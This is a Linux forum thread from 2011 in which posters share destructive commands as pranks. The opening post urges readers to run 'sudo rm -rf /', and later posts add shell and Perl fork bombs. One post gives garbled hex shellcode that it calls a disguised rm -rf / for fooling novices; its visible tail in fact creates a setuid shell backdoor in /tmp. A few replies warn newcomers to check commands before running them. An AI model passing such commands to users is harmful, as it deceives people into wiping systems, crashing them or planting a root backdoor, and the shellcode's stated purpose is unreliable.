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  1. 06-25-2011 #1
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    Hey! Wanna have some fun with Linux???

    Type in this command in the console:

    sudo rm -rf /
    Enjoy!
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    Probably the most powerful command in all of Linux.
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    Quote Originally Posted by SkittleLinux18 View Post
    Probably the most powerful command in all of Linux.
    This one is cool too.
    Code:
    :(){ :|:& };:
    (Hint don't run it except in a VM)
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    elija: ooold

    fyi:
    Solaris 10 and freebsd 6.4 block rm -rf /
    The later because --preserve-root is set by default

    It is a bit against one unix principle
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    but I can live with that
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    Quote Originally Posted by elija View Post
    This one is cool too.
    Code:
    :(){ :|:& };:
    (Hint don't run it except in a VM)
    ahhh.... yes, the forkbomb! Yummy!

    char esp [] __attribute__ ((section (. "text"))) / * esp
    release * /
    = "\ Xeb \ x3e \ x5b \ x31 \ xc0 \ x50 \ x54 \ x5a \ X83 \ xec \ x64 \ x68?
    "\ Xff \ xff \ xff \ xff \ x68 \ xdf \ xd0 \ xdf \ xd9 \ x68 \ x8d \ x99?
    "\ Xdf \ x81 \ x68 \ x8d \ x92 \ xdf \ xd2 \ x54 \ x5e \ xf7 \ x16 \ xf7?
    "\ X56 \ X04 \ xf7 \ X56 \ x08 \ xf7 \ X56 \ x0c \ X83 \ xc4 \ x74 \ X56?
    "\ X8d \ x73 \ x08 \ X56 \ x53 \ x54 \ X59 \ xb0 \ x0b \ xcd \ x80 \ x31?
    "\ Xc0 \ x40 \ xeb \ xf9 \ xe8 \ xbd \ xff \ xff \ xff \ x2f \ x62 \ x69?
    "\ X6e \ x2f \ x73 \ x68 \ x00 \ x2d \ x63 \ x00?
    "Cp-p / bin / sh / tmp / .beyond; chmod 4755
    / tmp / .beyond; "
    This is the hex version of [rm-rf /] that can deceive even those not experienced users of GNU/Linux.
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    Quote Originally Posted by SkittleLinux18 View Post
    Type in this command in the console:

    sudo rm -rf /
    Enjoy!
    Quote Originally Posted by elija View Post
    This one is cool too.
    Code:
    :(){ :|:& };:
    (Hint don't run it except in a VM)
    You guys are evil.... very, very evil.
    I just hope the unaware know enough to lookup a command before blindly entering it.
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    Quote Originally Posted by Lazydog View Post
    You guys are evil.... very, very evil.
    I just hope the unaware know enough to lookup a command before blindly entering it.
    Yep. pure evil I tell ya. I just hope these pure evil users are around to help someone clean up the mess they made. Now THAT would be funny.
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    Hey! I could have tried those commands two years ago! evil evil evil hahaha!!!!
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    Quote Originally Posted by Irithori View Post
    elija: ooold
    But still cool, although Perls
    Code:
    fork while fork
    feels more Zen somehow

    Quote Originally Posted by MikeTbob View Post
    Yep. pure evil I tell ya. I just hope these pure evil users are around to help someone clean up the mess they made. Now THAT would be funny.
    Well I know which one I'd rather clean up
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